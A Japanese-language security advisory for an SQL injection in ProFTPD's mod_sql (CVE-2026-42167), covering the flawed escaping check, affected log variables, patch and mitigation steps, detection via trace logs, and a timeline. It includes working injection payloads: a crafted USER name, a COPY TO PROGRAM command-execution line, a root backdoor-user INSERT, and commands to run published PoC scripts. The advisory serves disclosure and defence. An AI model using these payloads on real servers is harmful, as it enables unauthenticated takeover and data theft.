
CVE-2026-42167の技術的分析と概念実証。ProFTPD mod_sqlにおける重大なSQLインジェクションであり、認証バイパス、バックドアユーザー注入、リモートコード実行を可能にします。
| 属性 | 値 |
|---|
| タイプ | SQLインジェクション(CWE-89) |
| 深刻度 | 高/重大 |
| CVSS v3 | 8.1 |
| コンポーネント | ProFTPD < 1.3.9a の mod_sql |
| 報告者 | ZeroPath Research |
| 日付 | 2026年4月28日 |
is_escaped_text() における脆弱な検証ProFTPD は、SQLクエリに値を挿入する前に値がすでにサニタイズされているかどうかを判断するために is_escaped_text() 関数を使用します。この関数は、以下の条件を満たす入力を想定しています:
' で始まる' で終わる...これらはすでにエスケープされており、追加の処理は不要であると見なされます。
攻撃者は、以下のような悪意のあるユーザー名を送信できます:
USER ' || (SELECT 1) ||'
SQLクエリに挿入されると:
INSERT "'%U', '%r', '%m'" activity_log
次のようになります:
INSERT "'' || (SELECT 1) || ''" activity_log
|| 演算子が注入されたコマンドの周囲に空文字列を連結するため、ペイロードは任意のSQLとして実行されます。
要件:
%U または %{basename} 変数を使用したSQLロギングの有効化手法:
COPY (SELECT 1) TO PROGRAM 'comando_malicioso'
postgres ユーザーとしてオペレーティングシステムレベルでコマンドを実行します。
要件:
SQLAuthenticate が有効SQLLog ERR_*(認証前)で %U 変数を使用したSQLロギング手法:
INSERT INTO users (username, password, uid, homedir)
VALUES ('attacker', 'password_hash', 0, '/')
攻撃者は uid=0(root)を持つバックドアユーザーを注入し、ファイルシステム全体へのアクセスを取得します。
要件:
手法: 時間ベースのブラインドSQLインジェクションを使用して、資格情報を1文字ずつ抽出します。
| 変数 | 意味 | 範囲 |
|---|---|---|
%U | 元のユーザー名(認証前) | 認証前 |
%A | 匿名ログインパスワード | 認証前 |
%J | コマンドパラメータ | 認証前 |
%m | FTP動詞(STOR、RETR など) | 認証前 |
%{basename} | ファイル名コンポーネント | 認証後 |
%l | ident応答(RFC 1413) | 認証前(identd が利用可能な場合) |
認証前(最も重大):
%U + SQLLog ERR_* → 資格情報不要
認証後:
%{basename} + SQLLog STOR → 有効なFTPユーザーが必要
直ちに ProFTPD 1.3.9a 以降にアップデート:
# 現在のバージョンを確認
proftpd -v
# アップデート(Debian/Ubuntu の例)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1
すぐにアップデートできない場合:
# proftpd.conf の以下の行をコメントアウトまたは削除
# SQLLog * log_activity
# SQLLog ERR_* log_activity
-- PostgreSQL でスーパーユーザー権限のないユーザーを作成
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- SUPERUSER を付与しない
TraceLog /var/log/proftpd/trace.log
Trace sql:17
ProFTPD のトレースログ(Trace sql:17 有効時)で以下を検索:
text 'payload' is already escaped, skipping escaping it again
このメッセージは、バイパス試行が脆弱なエンジンによって処理されたことを示します。
# 詳細なトレースを有効化
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf
# ProFTPD を再起動
sudo systemctl restart proftpd
# ログを監視
tail -f /var/log/proftpd/trace.log | grep "already escaped"
| バージョン | ステータス |
|---|---|
| < 1.3.9 | ❌ 脆弱 |
| 1.3.9 | ❌ 脆弱 |
| ≥ 1.3.9a | ✅ パッチ適用済み |
| ≥ 1.3.10rc1 | ✅ パッチ適用済み |
# リポジトリをクローン
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc
# 要件
# - Docker
# - Git
# - Python 3.10+
# - uv(Pythonパッケージマネージャー)
# 脆弱な環境をセットアップ
cd setup
./setup.sh
# PoC を実行
cd ../pocs
python3 preauth_user_backdoor.py # バックドアユーザーを注入(認証前)
python3 preauth_user_rce.py # COPY TO PROGRAM による RCE(認証前)
python3 postauth_stor_backdoor.py # ユーザーを注入(認証後)
python3 postauth_stor_rce.py # RCE(認証後)
# クリーンアップ
cd ../setup
./teardown.sh
| 日付 | イベント |
|---|---|
| 2026-03-28 | 脆弱性が ProFTPD に報告される |
| 2026-04-07 | 検証とパッチ開発 |
| 2026-04-24 | CVE-2026-42167 が割り当てられる |
| 2026-04-27 | パッチリリース(コミット af90843baf7dcb8c6be1e5261be2d0b5b5850673) |
| 2026-04-27 | ProFTPD 1.3.9a リリース |
SQLLog 設定を確認最終更新: 2026年4月28日
出典: ZeroPath Research、MITRE CVE、NVD